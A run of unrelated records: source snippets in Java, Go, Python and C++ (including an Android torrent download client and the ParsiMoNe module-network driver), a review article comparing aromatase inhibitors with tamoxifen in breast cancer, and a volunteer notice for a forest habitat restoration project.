std::string WarningMessage;
};
}
#endif
// VTK-HeaderTest-Exclude: vtkTestErrorObserver.h
|
<filename>data/train/java/3cb7c12ff6a7e740e0646578078bc8c53edf62d2AccountService.java<gh_stars>10-100
/*
* AccountService
* Copyright (c) 2012 Cybervision. All rights reserved.
*/
package com.hashmem.idea.service;
import com.hashmem.idea.remote.SyncService;
public class AccountService {
private NotesService notesService;
private SyncService syncService;
/**
* Removes all notes and sync data
*/
public void reset() {
notesService.removeAllNotes();
syncService.resetSyncData();
}
//=========== SETTERS ============
public void setNotesService(NotesService notesService) {
this.notesService = notesService;
}
public void setSyncService(SyncService syncService) {
this.syncService = syncService;
}
}
|
// Fetch a batch of log events from on-chain and enqueue them.
// This function is called periodically in a ticker polling loop.
func (w *Watch) fetchLogEvents() {
blkNum := w.service.GetBlockNumber()
if w.fromBlock+w.blkDelay > blkNum {
log.Tracef("skip log fetching: %s: want %d, delay %d, blk %d", w.name, w.fromBlock, w.blkDelay, blkNum)
return
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
toBlock := blkNum - w.blkDelay
if w.service.maxBlockDelta > 0 && toBlock-w.fromBlock > w.service.maxBlockDelta {
toBlock = w.fromBlock + w.service.maxBlockDelta
}
w.query.FromBlock = new(big.Int).SetUint64(w.fromBlock)
w.query.ToBlock = new(big.Int).SetUint64(toBlock)
log.Tracef("fetch logs: %s: [%d-%d]", w.name, w.fromBlock, toBlock)
logs, err := w.service.client.FilterLogs(ctx, w.query)
if err != nil {
log.Warnf("cannot fetch logs: %s: [%d-%d]: %s", w.name, w.fromBlock, toBlock, err)
return
}
maxBlock := uint64(0)
count := 0
for i := range logs {
log := &logs[i]
if log.BlockNumber > maxBlock {
maxBlock = log.BlockNumber
}
if w.lastID == nil {
w.enqueue(log)
count++
} else if greaterThanLastID(log, w.lastID) {
w.enqueue(log)
count++
if log.BlockNumber > w.lastID.BlockNumber {
w.lastID = nil
}
}
}
if maxBlock >= w.fromBlock {
w.fromBlock = maxBlock + 1
log.Tracef("added %d logs to queue: %s: next from %d", count, w.name, w.fromBlock)
} else {
fromBlock := toBlock
if fromBlock+w.fwdDelay+w.blkDelay >= blkNum {
fromBlock = fromBlock - w.fwdDelay
}
if fromBlock > w.fromBlock {
w.fromBlock = fromBlock
}
log.Tracef("fast forward %s fromBlock to %d", w.name, w.fromBlock)
}
} |
def dump(entries, debug=False, eval_lazy=False, trace=False, title_only=False):
def sort_key(field):
if field == 'title':
return (0,)
if field == 'url':
return (1,)
if field == 'original_url':
return (2,)
return 3, field
highlighter = ReprHighlighter()
for entry in entries:
entry_table = TerminalTable(
'field',
':',
'value',
show_header=False,
show_edge=False,
pad_edge=False,
collapse_padding=True,
box=None,
padding=0,
)
for field in sorted(entry, key=sort_key):
if field.startswith('_') and not debug:
continue
if title_only and field != 'title':
continue
if entry.is_lazy(field) and not eval_lazy:
value = (
'[italic]<LazyField - value will be determined when it is accessed>[/italic]'
)
else:
try:
value = entry[field]
except KeyError:
value = '[italic]<LazyField - lazy lookup failed>[/italic]'
if field.rsplit('_', maxsplit=1)[-1] == 'url':
renderable = f'[link={value}][repr.url]{value}[/repr.url][/link]'
elif isinstance(value, str):
renderable = value.replace('\r', '').replace('\n', '')
elif is_expandable(value):
renderable = Pretty(value)
else:
try:
renderable = highlighter(str(value))
except Exception:
renderable = f'[[i]not printable[/i]] ({repr(value)})'
entry_table.add_row(f'{field}', ': ', renderable)
console(entry_table)
if trace:
console('── Processing trace:', style='italic')
trace_table = TerminalTable(
'Plugin',
'Operation',
'Message',
show_edge=False,
pad_edge=False,
)
for item in entry.traces:
trace_table.add_row(item[0], '' if item[1] is None else item[1], item[2])
console(trace_table)
if not title_only:
console('') |
<gh_stars>0
package com.ldw.torrentclient;
import android.text.TextUtils;
import com.frostwire.jlibtorrent.AlertListener;
import com.frostwire.jlibtorrent.SessionManager;
import com.frostwire.jlibtorrent.TorrentInfo;
import com.frostwire.jlibtorrent.alerts.AddTorrentAlert;
import com.frostwire.jlibtorrent.alerts.Alert;
import com.frostwire.jlibtorrent.alerts.AlertType;
import com.frostwire.jlibtorrent.alerts.BlockFinishedAlert;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.concurrent.CountDownLatch;
/**
* Created by ldw
* time :2019/1/23.
*/
public class RealCall implements Call {
private TorrentClient client;
private Request originalRequest;
private boolean executed;
private DownloadCall downloadCall;
RealCall(TorrentClient client, Request request) {
this.client = client;
this.originalRequest = request;
}
@Override
public Request request() {
return originalRequest;
}
@Override
public void enqueue(Callback callback) {
synchronized (this) {
if (executed) throw new IllegalStateException("Already Executed");
executed = true;
}
downloadCall = new DownloadCall(callback,originalRequest);
client.dispatcher().enqueue(downloadCall);
}
@Override
public void cancel() {
if (downloadCall != null) {
downloadCall.cancel();
}
}
@Override
public void pause() {
if (downloadCall != null) {
downloadCall.pause();
}
}
public void resume() {
if (downloadCall != null) {
downloadCall.resume();
}
}
@Override
public synchronized boolean isExecuted() {
return executed;
}
@Override
public boolean isCanceled() {
return downloadCall.isCanceled();
}
final class DownloadCall extends NamedRunnable {
private static final int STATUS_CANCELED = 1;
private static final int STATUS_PAUSED = 2;
private static final int STATUS_ERROR = 3;
private static final int STATUS_DOWNLOADING = 4;
private static final int STATUS_FINISH = 5;
private SessionManager mS;
private CountDownLatch mSignal;
private Callback callback;
private Request mRequest;
private int mCurrentStatus;
private boolean firstStart;
private AlertListener mAlertListener = new AlertListener() {
@Override
public int[] types() {
return null;
}
@Override
public void alert(Alert<?> alert) {
AlertType type = alert.type();
switch (type) {
case ADD_TORRENT:
((AddTorrentAlert) alert).handle().resume();
if (callback != null) {
callback.onPrepare(request());
}
break;
case BLOCK_FINISHED:
if (mCurrentStatus == STATUS_PAUSED || mCurrentStatus == STATUS_CANCELED){
return;
}
BlockFinishedAlert a = (BlockFinishedAlert) alert;
final float p = a.handle().status().progress() * 100;
final int i = a.handle().status().downloadRate();
final long totalDownload = mS.stats().totalDownload();
if (callback != null) {
ThreadUtils.runOnUiThread(new Runnable() {
@Override
public void run() {
callback.notifyProgress(request(), p, i, totalDownload);
}
});
}
break;
case STATS:
if (firstStart){
return;
}
if (callback != null ) {
ThreadUtils.runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onStart(mRequest);
}
});
}
firstStart = false;
break;
case TORRENT_PAUSED:
if (callback != null) {
callback.onPause(mRequest);
}
break;
case DHT_ERROR:
// onError(new Exception("dht error"));
break;
case TORRENT_ERROR:
onError(new Exception("torrent error"));
break;
case SESSION_ERROR:
onError(new Exception("session error"));
break;
case TORRENT_FINISHED:
System.out.println("Torrent finished");
onFinish();
break;
}
}
};
private boolean isCanceled;
private void onFinish() {
mCurrentStatus = STATUS_FINISH;
if (callback != null) {
callback.onCompleted(mRequest);
}
}
public Callback getCallback() {
return callback;
}
DownloadCall(Callback callback,Request originalRequest) {
super("TorrentClient %s", originalRequest.uuid);
this.callback = callback;
mRequest = originalRequest;
}
@Override
protected void execute() {
try {
if (mRequest.isNativeTorrent) {
TorrentInfo torrentInfo = new TorrentInfo(new File(mRequest.url));
if (!TextUtils.isEmpty(mRequest.saveFileName)){
torrentInfo.renameFile(0,mRequest.saveFileName);
}
torrentDownload(torrentInfo, mRequest.savePath);
} else {
downloadTorrent(mRequest.url);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
client.dispatcher().finished(this);
}
}
private void downloadTorrent(String torrentUrl) {
try {
ThreadUtils.runOnUiThread(new Runnable() {
@Override
public void run() {
if (callback != null) {
callback.onTorrentDownload(mRequest);
}
}
});
URL url = new URL(torrentUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.setInstanceFollowRedirects(true);
connection.connect();
InputStream inputStream = connection.getInputStream();
byte[] responseByteArray = new byte[0];
if (connection.getResponseCode() == 200) {
responseByteArray = getBytesFromInputStream(inputStream);
}
inputStream.close();
connection.disconnect();
if (responseByteArray.length > 0) {
TorrentInfo torrentInfo = TorrentInfo.bdecode(responseByteArray);
if (!TextUtils.isEmpty(mRequest.saveFileName)){
torrentInfo.renameFile(0,mRequest.saveFileName);
}
torrentDownload(torrentInfo, mRequest.savePath);
}
} catch (IOException | IllegalArgumentException e) {
onError(new Exception("torrent download error"));
}
}
private byte[] getBytesFromInputStream(InputStream inputStream) throws IOException {
ByteArrayOutputStream byteBuffer = new ByteArrayOutputStream();
int bufferSize = 1024;
byte[] buffer = new byte[bufferSize];
int len = 0;
while ((len = inputStream.read(buffer)) != -1) {
byteBuffer.write(buffer, 0, len);
}
return byteBuffer.toByteArray();
}
private void torrentDownload(TorrentInfo torrentInfo, String savePath) {
mS = new SessionManager();
mSignal = new CountDownLatch(1);
isCanceled = false;
firstStart =true;
mS.addListener(mAlertListener);
mS.start();
mCurrentStatus = STATUS_DOWNLOADING;
if (client.maxDownloadRate!=0){
mS.downloadRateLimit(client.maxDownloadRate);
}
mS.download(torrentInfo, new File(savePath));
try {
mSignal.await();
} catch (InterruptedException e) {
e.printStackTrace();
}
mS.stop();
mS.removeListener(mAlertListener);
if (isCanceled){
FileUtils.recursiveDelete(new File(savePath,torrentInfo.name()));
FileUtils.recursiveDelete(new File(savePath,mRequest.saveFileName));
}
}
private void onError(final Exception e) {
if (callback != null) {
ThreadUtils.runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onFailed(mRequest, e);
}
});
}
mCurrentStatus = STATUS_ERROR;
mSignal.countDown();
}
void cancel() {
if (mCurrentStatus == STATUS_CANCELED){
return;
}
if (mS==null||!(mS.isRunning() || mS.isDhtRunning())){
return ;
}
if (callback!=null){
ThreadUtils.runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onStop(mRequest);
}
});
}
if (mS != null && (mS.isRunning() || mS.isDhtRunning())) {
mSignal.countDown();
}
isCanceled = true;
}
synchronized void pause() {
if (mCurrentStatus!=STATUS_DOWNLOADING){
return;
}
if (mS != null && (!mS.isRunning() || mS.isDhtRunning())) {
mS.pause();
mCurrentStatus = STATUS_PAUSED;
}
}
synchronized void resume() {
if (mCurrentStatus!=STATUS_PAUSED){
return;
}
if (mS != null && mS.isPaused()) {
mS.resume();
mCurrentStatus = STATUS_DOWNLOADING;
}
}
public boolean isCanceled() {
return isCanceled;
}
public Call get(){
return RealCall.this;
}
}
}
|
def on_solution_callback(self):
self.__solution_count += 1
print('Solution %i: ', self.__solution_count)
print(' min vendors:', self.__min_vendors)
for i in range(self.__num_vendors):
print(' - vendor %i: ' % i, self.__possible_schedules[self.Value(
self.__selected_schedules[i])])
print()
for j in range(self.__num_hours):
print(' - # workers on day%2i: ' % j, end=' ')
print(self.Value(self.__hours_stat[j]), end=' ')
print()
print() |
Endocrinology and hormone therapy in breast cancer: Aromatase inhibitors versus antioestrogens
Endocrine therapies act by either blocking or downregulating the oestrogen receptor or by reducing oestrogen concentrations around and within the cancer cell. In postmenopausal women, oestrogen suppression is achieved by inhibition of the enzyme aromatase by aromatase inhibitors (AIs). Modern AIs (anastrozole, letrozole and exemestane) are more potent than earlier ones and suppress oestradiol levels in plasma to virtually undetectable concentrations. Recent comparisons of AIs with the most widely used oestrogen receptor blocking drug tamoxifen indicate that, in general, AIs result in increased response rates and greater durations of response. Here, we summarize data supporting the difference between the two types of treatment and attempt to account for the underlying mechanisms that favour AIs.
Introduction
Most endocrine therapies for breast cancer treatment and prevention depend upon inhibiting the proliferative effect of oestradiol on oestrogen receptor (ER)-positive tumour or normal mammary epithelial cells. Either oestradiol is inhibited from binding to ER by antioestrogens, or serum and tissue oestradiol concentrations are reduced by ovarian ablation in premenopausal women or by inhibition of aromatase in postmenopausal women.
Several randomized comparisons of the two approaches to endocrine therapy (ER blockade and oestradiol suppression) were conducted using older, less potent AIs. Two trials that compared aminoglutethimide with tamoxifen showed no differences in rates of response or duration of response. Two other randomized trials compared the second-generation AIs formestane and fadrozole with tamoxifen and showed a trend toward superiority of the AIs over the antioestrogen, but this was not statistically significant. At their clinical doses, each of these three AIs reduces aromatase activity by about 90%. More recently aminoglutethimide was compared with the third-generation AI letrozole, which suppresses peripheral aromatase by at least 99% . Letrozole produced a higher objective response rate and longer time to progression, indicating the importance of the completeness of aromatase inhibition . However, when two highly potent AIs were compared (anastrozole and letrozole) there was no difference between them in the primary efficacy end-point, namely time to progression, despite the fact that letrozole achieves slightly more complete inhibition of aromatase than does anastrozole .
It is unlikely that more potent AIs than those currently available (anastrozole, letrozole and exemestane) will be developed in the foreseeable future, and thus the three AIs are the treatments of choice for comparison with ER blockade to determine the most active type of endocrine therapy. In nearly all trials AIs have been compared with the antioestrogen tamoxifen. This is an appropriate choice of comparator because, despite a large number of clinical trial comparisons, no other antioestrogen has been found to be superior to tamoxifen, which was introduced many years ago .
Aromatase inhibitors versus antioestrogens
Anthony Howell 1 and Mitch Dowsett 2 Recent clinical trials indicate that the new AIs generally have greater response rates and increase median time to progression compared with tamoxifen in patients with advanced breast cancer . These studies included some patients who had received tamoxifen as adjuvant therapy, and this might have influenced the superiority of the AIs. More recently, AIs were also shown to be more effective in treatment naïve patients in the neoadjuvant setting and to be superior in preventing relapse as adjuvant therapy . They may also be superior in preventing breast cancer because they reduce the incidence of contralateral breast cancer .
More tumour responses to aromatase inhibitors
Response to endocrine treatments is best tested before surgery (neoadjuvant studies) or at first relapse, because in both situations objective tumour measurements can be taken and there is only minor confounding from previous treatments. Response rates in randomized trials comparing AIs with tamoxifen in both clinical situations are summarized in Table 1. In most trials there were significantly greater objective response rates (complete plus partial remissions) and/or rates of clinical benefit (complete plus partial remissions, and stable disease for 24 weeks or more) for AIs . One large randomized trial comparing anastrozole with tamoxifen in advanced breast cancer found no significant advantage in terms of objective response or clinical benefit . The reason for the lack of difference is not clear, but this is the only trial in which modern AIs did not show a superior response rate as compared with tamoxifen. Other small nonrandomized but carefully performed preoperative studies by the Edinburgh group also found superior responses to anastrozole and letrozole as compared with tamoxifen.
Longer duration of responses to aromatase inhibitors
The duration of effectiveness of AIs and tamoxifen can be assessed in randomized trials of first-line therapy in advanced breast cancer. Both anastrozole and letrozole extend the median time to progression by approximately 2-3 months compared with tamoxifen (Table 1) . In one trial the investigators reported the time to progression in all patients who had a clinical benefit response. The median time to progression in this trial for tamoxifen after clinical benefit was 7 months, whereas it was 18 months for anastrozole. Currently, no peer reviewed phase III data are published and available for exemestane, but the data outlined above indicate generally longer durations of response to AIs as compared with tamoxifen. Similar differences in time to progression have been reported in animal models of human breast cancer. Long and coworkers transfected MCF-7 cells with the aromatase gene and transplanted the cells into nude mice. In this model, tumour development was inhibited for 37 weeks in letrozole treated mice as compared with 16 weeks in tamoxifen treated mice. In a more recent study the same group demonstrated that continuous letrozole administration caused longer tumour growth retardation than did continuous tamoxifen, tamoxifen Table 1 Response and time to progression in randomized trials comparing aromatase inhibitors and tamoxifen as neoadjuvant therapy or in advanced breast cancer
Why are aromatase inhibitors superior to tamoxifen?
Superficially, one would expect little difference between the two treatment types because both effectively reduce oestrogenic stimulation of breast cancer cells. However, there are clearly major differences in the mechanisms of action of the two treatments. Greater response rates indicate that there are a group of tumours that respond to AIs but not to tamoxifen. Increased time to progression using AIs suggests that resistance to tamoxifen arises sooner than does resistance to AIs. Unravelling the mechanisms responsible for the superiority of AIs is not only of interest biologically but it may also be help to achieve further improvements in endocrine therapy in the future.
Neoadjuvant trials are most helpful with respect to investigating the mechanism responsible for the difference in effectivess between the two types of treatment because tissue before, during and immediately after treatment is available and can be assayed for potential markers of increased response using a variety of techniques. Clinical response rates according to ER and progesterone receptor (PgR) phenotype were reported in a randomized trial comparing neoadjuvant letrozole with tamoxifen . Increased responses to letrozole were seen, to a similar degree, in both ER-positive/PgR-positive and ER-positive/ PgR-negative phenotypes, although for the latter phenotype the difference between the two treatments was not significant, possibly because of the small numbers included (Table 2). When response was related to HER1 (epidermal growth factor receptor) and HER2 (cErbB2) expression (in ER-positive tumours), higher response rates to letrozole were again seen in tumours positive for HER1 or HER2 and those negative for both HER1 and HER2. However, there were fewer responses to tamoxifen in the ErbB1/ErbB2-positive tumours. One potential explanation for this is that tamoxifen causes translocation of ER to oestrogen response elements of cognate genes, allowing cross-talk between growth factor and steroid pathways. In contrast, because AIs reduce this interaction as a result of reduced oestradiol-stimulated ER activation, greater effectiveness in downregulating ER-dependent signalling is achieved. Consideration of how this occurs requires a description of the basic signalling sequence for ER.
Classically, both oestradiol and tamoxifen bind to the ER and cause dimerization and translocation of the receptor to the promoter region of oestrogen-regulated genes. However, whereas oestradiol activates two regions of the ER molecule (called activating function 1 and AF2), tamoxifen inhibits AF2 but not AF1. AF1 remains active in the presence of tamoxifen and thus could be responsible for the partial agonist activity of the compound. AF1 contains most of the sites that are phosphorylated by growth factor activity. Tamoxifen and oestradiol cause conformational changes in the receptor that allow binding of a series of coactivator and corepressor proteins. It is thought that the relative proportions of each determine whether the ligand will act as an oestrogen or an antioestrogen for a specific gene.
Recent studies suggest that phosphorylation of coregulators is an additional mechanism of control of transcription . Ligand-bound ER can also interact with other transcription factors such as activator protein-1 and nuclear factor-κB, and other proteins within the cell and the cell membrane . Thus, there are multiple potential mechanisms of tamoxifen resistance, but those that Available online http://breast-cancer-research.com/content/6/6/269 depend on receptor dimerization and translocation are probably of the greatest importance. Resistance may be caused by increased growth factor activity via AF1 or alteration of the coactivator/corepressor ratio. An example of the former mechanism is development of tamoxifen resistance in MCF-7 cells by transfection with the gene for the ErbB2 receptor, which can be reversed by blocking activity of the receptor . Recent examples of the latter mechanism are the demonstrations that increased expression of the coactivator AIB1 (activated in breast cancer 1; also known as SRC3) and decreased expression of the corepressor are associated with tamoxifen resistance in women with breast cancer. Other potential mechanisms of tamoxifen resistance, such as altered pharmacokinetics, differential cell uptake and receptor mutation, appear to be less important than was previously thought .
In patients with advanced breast cancer who progress after a response to tamoxifen, simply stopping tamoxifen can lead to tumour remission, suggesting that tamoxifen may be acting as an agonist . Tamoxifen may become an agonist for MCF-7 cells growing in nude mice .
Initially, in this model tamoxifen inhibits growth. However, when these tumours are retransplanted into new mice tamoxifen treatment stimulates growth. In vitro, cells from tamoxifen-resistant human pleural effusions have been shown to be growth stimulated by tamoxifen. Inhibition of growth can be demonstrated by additional fulvestrant, suggesting tamoxifen agonist activity occurs via ER pathways, as expected .
By comparison with the multiple potential interactions after tamoxifen binding and translocation of the ER, the action of AIs appears relatively simple. It is presumed that oestradiol levels are reduced to the extent that receptor dimerization and translocation do not take place to any appreciable extent. Thus, in the oestrogen responsive tumour cell, growth is abrogated. Differences in mechanisms of action of AIs and tamoxifen are exemplified by changes in transcription of the oestrogen-induced genes PgR and pS2. In one neoadjuvant study letrozole reduced expression of PgR and pS2, whereas tamoxifen resulted in small increases in expression, again indicating differences from the mechanism of action of AIs .
Resistance to AIs has been directly studied in the model outlined above, in which MCF-7 cells expressing aromatase were transplanted into nude mice, treated with letrozole and the time to resistance determined. When the resistant tumours were retransplanted into new mice their growth was slowed by tamoxifen and inhibited more effectively by the pure antioestrogen fulvestrant . Fulvestrant is thought to act by downregulating ER, and its activity in AIresistant tumour suggests that even at low oestradiol concentrations the ER is active on gene promoters.
Because modern AIs effectively deprive tumour cells of estrogens, a surrogate method for studying the mechanism of resistance to oestrogen deprivation is to grow ERpositive human mammary tumours in oestrogen-depleted culture medium. When MCF-7 cells are placed in such media they are growth arrested for 3-6 months and then begin to regrow. When their response to oestradiol at the time of regrowth is retested, it is found that the dose-response curve is shifted to the left and maximal proliferation occurs at approximately 10 -14 mol/l, instead of the approximately 10 -9 mol/l in wild-type MCF-7 cells. Proliferation at such low levels of oestradiol can be inhibited by fulvestrant, indicating that hypersensitivity occurs via an ER-dependent mechanism . Resistance to low oestradiol concentrations is associated with several cellular changes, including enhanced HER2 receptor expression, elevated levels of insulin-like growth factor-1 receptor and ER, and increased signal transduction via the mitogen-activated protein kinase and phosphatidylinositol-3 kinase pathways .
Recent experiments reported by Santen and colleagues suggest that resistance to oestrogen deprivation could also be via membrane associated ER . ER-negative cells transfected with an ER lacking a nuclear localization signal and containing a membrane localizing signal proliferated in response to oestradiol and were inhibited by fulvestrant and by an inhibitor of GTP-Ras binding to its membrane receptor (farnesylthiosalicyclic acid). Further studies are required to determine whether the major mechanism of hypersensitivity is via membrane ER or nuclear ER, or both.
In the neoadjuvant study in which letrozole was compared with tamoxifen , the ER was quantitated by number of cells positive and the intensity of staining. Responses to letrozole were seen in tumours with high ER-positive scores and the small number of those with low ER scores, whereas responses were not seen at low receptor scores with tamoxifen. Thus, this important study suggests that some of the increased response to AIs is related to their greater activity not only in tumours that overexpress growth factor receptors but possibly also in those that have low expression of ER. Confirmation of these results and extension to other indicators of response is required before we can apply these findings clinically. Because there is a correlation between the presence of HER2 and low ER levels , it will be important to try to separate the dominant factor in the relationship with tamoxifen resistance in future studies.
There is also an association between the ER-positive/ PgR-negative tumour phenotype and low cell ER concentrations. In the ATAC (Arimidex, Tamoxifen Alone or in Combination) adjuvant therapy trial , there was a relapse-free survival advantage for anastrozole compared with tamoxifen at a median follow up of 47 months. When analyzed according to the two major receptor subgroups, ER-positive/PgR-positive (74% of patients) and ER-positive/ PgR-negative (17% of patients), although anastrozole was superior to tamoxifen in both groups there was a much greater difference in the ER-positive/PgR-negative subtype. The hazard ratio for the comparison for the ER-positive/ PgR-positive subtype was 0.82 (95% confidence interval 0.65-1.03) in favour of anastrozole, whereas for the ER-positive/PgR-negative subtype the hazard ratio was 0.48 (95% confidence interval 0.33-0.71). The greater effect in the ER-positive/PgR-negative subtype may be related to anastrozole being more effective than tamoxifen at low receptor concentrations. Also, we know from other studies that this subtype is more likely to be associated with HER1/2-positive tumours (approximately 30% express the nuclear and the cell surface membrane receptor), as compared with approximately 10% coexpression in the ER-positive/PgR-positive subtype.
Conclusion
Increased response rates of AIs as compared with tamoxifen may be related to greater responsiveness to AIs in tumours with low concentrations of ER and expression of HER1 and HER2. Delayed resistance to AIs is probably mediated by a delay in ER binding to gene promoters. Several biochemical pathways activated during resistance to tamoxifen and resistance to oestrogen deprivation suggest new targets for preventing resistance, including inhibitors of cell surface signal transduction pathways (inhibitors of phosphatidylinositol-3 kinase and mitogenactivated protein kinase pathways) and of farnesylation. Clinical studies combining these agents with AIs herald a new era of 'endocrine' therapy (for a review of this area, see that by Ellis ). These benefits are now being translated into the adjuvant situation and for prevention of breast cancer. AIs given immediately after surgery result in reduced rates of relapse as compared with tamoxifen . AIs given after 2-3 or 5 years of adjuvant tamoxifen confer additional reductions in relapse compared with tamoxifen . In addition, anastrozole administration results in fewer contralateral breast cancers as compared with tamoxifen , suggesting that AIs may be used to prevent breast cancer. |
/**
* A RIF-BLD reasoner based on the WSML2Reasoner framework.
*
* @author Adrian Marte
*/
public class WsmlRifReasoner extends AbstractReasoner {
private static final Logger logger = LoggerFactory
.getLogger(WsmlRifReasoner.class);
private boolean hasChanged = true;
private Set<Document> documents = new HashSet<Document>();
private LPReasoner reasoner;
@Override
public void register(Document document) {
hasChanged |= documents.add(document);
}
@Override
public boolean entails(Formula formula) {
try {
createOntology();
} catch (InvalidModelException e) {
logger.error("Failed to create WSML ontology", e);
return false;
} catch (InconsistencyException e) {
logger.error("Found an inconsitent WSML ontology", e);
return false;
}
List<LogicalExpression> wsmlRules = toQueries(formula);
boolean entails = true;
for (LogicalExpression wsmlRule : wsmlRules) {
entails &= reasoner.ask(wsmlRule);
}
return entails;
}
private List<LogicalExpression> toQueries(Formula rule) {
RifToWsmlTranslator translator = new RifToWsmlTranslator();
List<LogicalExpression> expressions = translator.translate(rule);
return expressions;
}
private void createOntology() throws InvalidModelException,
InconsistencyException {
if (!hasChanged) {
return;
}
reasoner = DefaultWSMLReasonerFactory.getFactory()
.createFlightReasoner(null);
Ontology ontology = toOntology(documents);
reasoner.registerOntology(ontology);
hasChanged = false;
}
protected Ontology toOntology(Collection<Document> documents)
throws InvalidModelException {
List<LogicalExpression> expressions = new ArrayList<LogicalExpression>();
for (Document document : documents) {
RifToWsmlTranslator translator = new RifToWsmlTranslator();
expressions.addAll(translator.translate(document));
}
FactoryContainer container = new WsmlFactoryContainer();
WsmoFactory wsmoFactory = container.getWsmoFactory();
IRI ontologyIRI = wsmoFactory
.createIRI("http://at.sti2.iris.rifreasoner/Ontology");
Ontology ontology = wsmoFactory.createOntology(ontologyIRI);
IRI axiomIRI = wsmoFactory
.createIRI("http://at.sti2.iris.rifreasoner/Axiom");
Axiom axiom = wsmoFactory.createAxiom(axiomIRI);
for (LogicalExpression logicalExpression : expressions) {
axiom.addDefinition(logicalExpression);
}
ontology.addAxiom(axiom);
return ontology;
}
} |
CMC will partner with the Pike National Forest to begin work on the Badger Flats Habitat Restoration Project. This beautiful area, less than 50 miles from Colorado Springs, has been growing in popularity but an extensive network of user-created routes is destroying native vegetation and fragmenting local wildlife habitat. CMC is working closely with the Forest Service to mitigate recreational impacts and provide safe, sustainable access for users and the surrounding natural resources. Join us for a series of stewardship events this summer to prevent further damage to these critical habitat areas.
Volunteer crews will help address wildlife habitat degradation by inventorying non-system roads and trails and rehabilitating impacted areas. Work is suitable for all abilities and will include GPSing, photographing resource damage, installing signs, constructing natural barriers & fences, re-seeding and transplanting vegetation.
Project work will take place from 9am - 5pm Saturday and 8am - 4pm Sunday. Camping is available and food will be provided by CMC. Volunteers may participate one or both days (please indicate below). Transport/carpooling may be available from Denver/CO Springs. |
// Package key enumerates keystrings for use in bindings
package key
|
<reponame>asrivast28/ParsiMoNe<filename>parsimone.cpp
/**
* @file parsimone.cpp
* @brief The implementation of the main function for ParsiMoNe,
* and other functions that drive the program execution.
* @author <NAME> <<EMAIL>>
*
* Copyright 2020 Georgia Institute of Technology
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "RawData.hpp"
#include "Genomica.hpp"
#include "LemonTree.hpp"
#include "ProgramOptions.hpp"
#include "common/DataReader.hpp"
#include "common/UintSet.hpp"
#include "mxx/env.hpp"
#include "utils/Logging.hpp"
#include "utils/Timer.hpp"
#include <boost/asio/ip/host_name.hpp>
#include <boost/filesystem.hpp>
#include <boost/property_tree/ptree.hpp>
#include <boost/property_tree/json_parser.hpp>
#include <iostream>
#include <memory>
#include <vector>
/**
* @brief Gets a pointer to the object of the required module network learning algorithm.
*
* @tparam Var Type of the variables (expected to be an integral type).
* @tparam Set Type of set container.
* @tparam Data Type of the object which is used for querying data.
* @param algoName The name of the algorithm.
* @param data The object which is used for querying data.
*
* @return unique_ptr to the object of the given algorithm.
* The unique_ptr points to a nullptr if the algorithm is not found.
*/
template <typename Var, typename Set, typename Data>
std::unique_ptr<ModuleNetworkLearning<Data, Var, Set>>
getAlgorithm(
const std::string& algoName,
const mxx::comm& comm,
const Data& data
)
{
std::stringstream ss;
if (algoName.compare("lemontree") == 0) {
return std::make_unique<LemonTree<Data, Var, Set>>(comm, data);
}
ss << "lemontree";
if (algoName.compare("genomica") == 0) {
return std::make_unique<Genomica<Data, Var, Set>>(comm, data);
}
ss << ",genomica";
throw std::runtime_error("Requested algorithm not found. Supported algorithms are: {" + ss.str() + "}");
return std::unique_ptr<ModuleNetworkLearning<Data, Var, Set>>();
}
pt::ptree
readConfigs(
const std::string& configFile,
const mxx::comm& comm
)
{
TIMER_DECLARE(tConfigs);
std::string configStr;
std::stringstream buffer;
if (comm.is_first()) {
std::ifstream cf(configFile);
buffer << cf.rdbuf();
configStr = buffer.str();
}
mxx::bcast(configStr, 0, comm);
if (!comm.is_first()) {
buffer << configStr;
}
namespace pt = boost::property_tree;
pt::ptree configs;
pt::read_json(buffer, configs);
if (comm.is_first()) {
TIMER_ELAPSED("Time taken in reading the configs: ", tConfigs);
}
return configs;
}
/**
* @brief Learns the module network with the given parameters
* and writes it to the given file.
*
* @tparam Var Type of the variables (expected to be an integral type).
* @param options Program options provider.
*/
template <typename Var, typename Size, typename Data>
void
learnNetwork(
const ProgramOptions& options,
const mxx::comm& comm,
const Data& data
)
{
auto algo = getAlgorithm<Var, UintSet<Var, Size>>(options.algoName(), comm, data);
auto configs = readConfigs(options.configFile(), comm);
if (comm.is_first()) {
namespace fs = boost::filesystem;
if (!fs::is_directory(options.outputDir())) {
if (!fs::create_directories(options.outputDir())) {
throw po::error("Output directory doesn't exist and could not be created");
}
}
fs::copy_file(fs::path(options.configFile()), options.outputDir() + "/configs.json", fs::copy_option::overwrite_if_exists);
}
comm.barrier();
TIMER_DECLARE(tNetwork);
algo->learnNetwork((comm.size() > 1) || options.forceParallel(), configs, options.outputDir());
comm.barrier();
if (comm.is_first()) {
TIMER_ELAPSED("Time taken in getting the network: ", tNetwork);
}
}
/**
* @brief Learns the module network with the given parameters
* and writes it to the given file.
*
* @tparam FileType Type of the file to be read.
* @param options Program options provider.
* @param reader File data reader.
*/
template <template <typename> class Reader, typename DataType>
void
learnNetwork(
const ProgramOptions& options,
const mxx::comm& comm,
std::unique_ptr<Reader<DataType>>&& reader
)
{
auto n = options.numVars();
auto m = options.numObs();
auto s = std::max(n, m);
if ((s - 1) <= UintSet<uint8_t, std::integral_constant<int, (maxSize<uint8_t>() >> 2)>>::capacity()) {
RawData<DataType, uint8_t> data(reader->data(), reader->varNames(), static_cast<uint8_t>(n), static_cast<uint8_t>(m));
learnNetwork<uint8_t, std::integral_constant<int, (maxSize<uint8_t>() >> 2)>>(options, comm, data);
}
